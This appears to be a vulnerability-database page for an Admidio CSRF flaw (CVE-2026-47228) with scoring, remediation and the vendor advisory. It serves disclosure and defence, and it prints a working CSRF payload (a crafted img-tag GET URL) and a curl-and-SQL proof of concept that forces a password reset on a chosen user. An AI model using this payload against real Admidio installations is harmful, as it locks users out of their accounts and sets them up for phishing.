Skip to main content

Admidio CVE-2026-47228

| EUVDEUVD-2026-57205 MEDIUM
Cross-Site Request Forgery (CSRF) (CWE-352)
2026-05-29 https://github.com/Admidio/admidio GHSA-mx25-j3rc-6w2w
5.2
CVSS 3.1 · Vendor: https://github.com/Admidio/admidio
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Self-register via public form to create pending registration row
  2. Delivery
    Enumerate or obtain target user UUID
  3. Exploit
    Host malicious page embedding crafted img tag GET URL
  4. Install
    Social-engineer registration-admin to visit page
  5. C2
    Browser sends SameSite=Lax session cookie automatically
  6. Execute
    Server executes sendNewPassword() unconditionally, overwriting victim's bcrypt hash
  7. Impact
    Victim locked out; optional follow-on phishing harvests new password

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V3 - Web Frontend Security Anti-CSRF tokens, SameSite cookies
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be able to create or reference a valid pending registration row in adm_registrations - achievable without any Admidio account if public self-registration is enabled, which is a common deployment configuration. The attacker must also know or enumerate a valid user_uuid_assigned UUID for the target user; UUIDs may be discoverable through member profile URLs or other application features. A user holding the isAdministratorRegistration() role (typically the organization admin) must be socially engineered into visiting the attacker-controlled page while authenticated. Exploitation is limited by the following factors: Admidio's session cookie must not be SameSite=Strict (confirmed as SameSite=Lax per advisory); the attack delivers the new cleartext password to the *victim's* mailbox, not the attacker's, so direct credential theft requires a follow-on phishing step; and the attack requires user interaction (UI:R) from a privileged admin. Non-default deployments that disable public self-registration reduce but do not eliminate risk, as any pre-existing pending registration row is also exploitable.

Impact

The official CVSS 3.1 score is 5.2 (Medium) with vector AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L. Notably, the CVSS PR:H assignment conflicts with the advisory's own Impact section, which explicitly states 'PR:N because the attacker needs no Admidio credentials' - this discrepancy likely reflects scoring convention for CSRF where PR:H captures the requirement that the *victim* must hold high privileges (registration-administrator), not the attacker. Defenders should treat attacker privilege as effectively none (PR:N). No EPSS data was provided; no CISA KEV listing exists at time of analysis. However, a working proof-of-concept was confirmed by the reporter against commit c5cde53, meaning exploitation is trivially reproducible. Attack complexity is genuinely low (AC:L): the attacker only needs to lure an admin to a page - the public self-registration flow even allows the attacker to independently create the required pending registration row without any inside access. The 5.2 CVSS score understates real-world risk: the integrity impact is high (arbitrary user password replacement) and the attack surface includes every Admidio instance with public registration enabled.

Exploit ScenarioDerived

An attacker self-registers via Admidio's public registration form, creating a pending registration row linked to a target user's UUID, then hosts a webpage containing <img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_uuid}&user_uuid_assigned={target_uuid}">. When a registration-administrator visits that page - via a phishing email, a forum post, or an injected link - the browser automatically sends the admin's SameSite=Lax session cookie with the GET request. The server executes the password reset unconditionally, overwriting the target's bcrypt hash in adm_users.usr_password and sending an unsolicited password-reset email to the victim. A working PoC confirming this flow was tested against HEAD commit c5cde53.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Cross-site request forgery in Admidio's registration module (modules/registration.php) allows an unauthenticated attacker to force a password reset on any user account by tricking a registration-administrator into visiting a malicious page. The send_login mode uniquely omits the SecurityUtils::validateCsrfToken() check present in all four sibling branches, and unconditionally accepts GET requests, meaning a single <img src=...> tag is sufficient to trigger the attack - no form submission or JavaScript required. Publicly available exploit code confirmed against HEAD commit c5cde53; no active exploitation in CISA KEV at time of analysis.

RemediationAI

Upgrade to Admidio 5.0.10, which adds SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) to the send_login branch and enforces POST-only method handling, consistent with all other state-changing modes in modules/registration.php. The vendor advisory is at https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w. If immediate upgrade is not possible, a viable compensating control is to disable public self-registration in Admidio's configuration, which removes the attacker's ability to independently create pending registration rows - though this does not eliminate risk if existing pending registrations are present or if an attacker can obtain valid UUIDs by other means. Alternatively, restrict network access to the Admidio instance to trusted IP ranges to prevent cross-origin navigation from untrusted pages, though this may impact legitimate remote administrators. Both workarounds carry operational trade-offs and patching to 5.0.10 is the only complete remediation.

Affected VersionsENISA

admidio < 5.0.10

Affected Packages

composer admidio/admidio fix: 5.0.10
euvd admidio fix: 5.0.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Admidio is a PHP-based community management platform. The vulnerability is rooted in CWE-352 (Cross-Site Request Forgery): the send_login branch of modules/registration.php (lines 124-138) omits the CSRF token validation step that every other state-changing mode in the same file enforces. The underlying PHP handler enforces no HTTP method restriction, accepting GET requests equivalently to POST. Because Admidio sets its session cookie with SameSite=Lax (not Strict), browsers will include the admin's cookie on cross-origin top-level GET navigations - including those triggered by <img> tags. The User::sendNewPassword() method in src/User/Entity/User.php unconditionally writes a new bcrypt hash to adm_users.usr_password before the email is dispatched, meaning the password is permanently overwritten even when the SMTP stack is unconfigured or unreachable. The affected package is composer/admidio/admidio and the CPE is pkg:composer/admidio_admidio.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Admidio/admidio) PRIMARY 5.2 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

Primary rating from Vendor (https://github.com/Admidio/admidio) · only source for this CVE.

CVSS VectorVendor: https://github.com/Admidio/admidio

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

DescriptionCVE.org

Summary

modules/registration.php mode send_login regenerates a random password for user_uuid_assigned, stores its bcrypt hash in adm_users.usr_password, and emails the cleartext to that user. Every other state-changing mode in the same file (assign_member, assign_user, delete_user, create_user) calls SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) first; the send_login branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's SameSite=Lax cookies, and the server resets the chosen user's password without any further interaction from the admin.

Details

Vulnerable Code

modules/registration.php:124-138:

php
} elseif ($getMode === 'send_login') {
    // User already exists and has a login than sent access data with a new password
    $user = new User($gDb, $gProfileFields);
    $user->readDataByUuid($getUserUUIDAssigned);
    $user->sendNewPassword();

    // delete the registration because it isn't necessary anymore
    $registrationUser->notSendEmail();
    $registrationUser->delete();
    admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php');
    // => EXIT
}

The four sibling branches all begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); - for example delete_user at lines 110-118:

php
} elseif ($getMode === 'delete_user') {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    // delete registration
    $registrationUser->delete();
    echo json_encode(array('status' => 'success'));
    exit();
}

User::sendNewPassword() (src/User/Entity/User.php) calls setPassword(PasswordUtils::generatePassword()) and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.

The handler accepts GET (no enforcement of HTTP method, no $_POST requirement), so an <img src=...> or auto-submitting form is sufficient.

Exploitation Flow

  1. Attacker prepares a "pending registration" row anywhere they can - either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.
  2. Attacker hosts a page that issues:

<img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}">

  1. A registration-administrator (someone with isAdministratorRegistration() - usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set SameSite=Strict).
  2. Admidio's handler runs as that admin. It loads the assigned user, calls User::sendNewPassword() which writes a fresh bcrypt hash to adm_users.usr_password, and queues the cleartext password to be e-mailed to the user.
  3. The victim user's old password no longer works.

The cleartext lands in the *victim's* mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.

PoC

Tested locally against HEAD c5cde53. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's GET to the crafted URL.

# 0. observe current admin password hash (the testadmin from install)
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
    -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);"
usr_id  usr_login_name  pwd
2       testadmin       $2y$12$AB.h
7       victim          $2y$12$L9q3
# 1. attacker creates a pending registration with user_uuid pointing at "victim"
mariadb ... admidio -e "INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)
                       VALUES (1, 7, NOW());"
# (the pending row gives the request a valid user_uuid for $registrationUser->delete())
# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:
#    no adm_csrf_token, GET only
curl -b $admin_cookie \
   "http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>"
# 3. observe the victim's password hash has changed
mariadb ... admidio \
    -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;"
usr_id  usr_login_name  pwd
7       victim          $2y$12$w5lQ

The hash before the attack was $2y$12$L9q3...; after the attack it is $2y$12$w5lQ.... The victim's previously-known password no longer authenticates them.

The same call against user_uuid_assigned=<admin's uuid> resets the admin's own password - locking out the registration-administrator from their own account.

Impact

A registration-administrator who visits a hostile page is silently coerced into resetting any user's password.

  • Account lockout / DoS. The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim's mailbox.
  • Phish-flavoured social engineering. The unsolicited "your new Admidio password is …" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.
  • Self-targetable. Because the attacker also controls the public self-registration flow, they can reliably create a pending_registration row whose user_uuid_assigned points at any chosen victim.

UI:R reflects that an admin must visit a page; PR:N because the *attacker* needs no Admidio credentials; I:H because user authentication state is destroyed; A:L because the affected user is locked out of an account but the platform stays up.

Recommended Fix

Add a CSRF check at the top of the branch and require POST:

php
} elseif ($getMode === 'send_login') {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    }

    $user = new User($gDb, $gProfileFields);
    $user->readDataByUuid($getUserUUIDAssigned);
    $user->sendNewPassword();
    ...
}

A regression test should issue GET /modules/registration.php?mode=send_login&... from a session that has no current page (no in-session form key) and assert that usr_password is unchanged.

Threat Intelligence Overview

EPSS Score
0.0%
Top 97% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy